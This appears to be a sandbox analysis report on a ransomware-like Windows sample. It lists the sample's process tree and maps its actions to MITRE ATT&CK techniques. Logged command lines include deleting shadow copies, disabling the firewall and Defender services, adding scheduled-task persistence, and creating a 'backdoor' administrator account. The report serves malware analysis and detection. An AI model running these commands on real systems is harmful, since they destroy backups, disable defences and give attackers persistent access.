- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:3580
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4632
- - C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe"
    3⤵
    PID:1424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5076
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4548
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4872
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:404
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4000
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3988
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4872
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3400
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4340
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2608
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1480
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5008
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4088
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4852
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:512
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5076
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4544
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4560
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3612
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:752
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4772
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:228
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:4636

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1080
- C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe
  C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe
  2⤵
  PID:4260

C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilac365tv.pro_nano.exe
1⤵
PID:4048

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery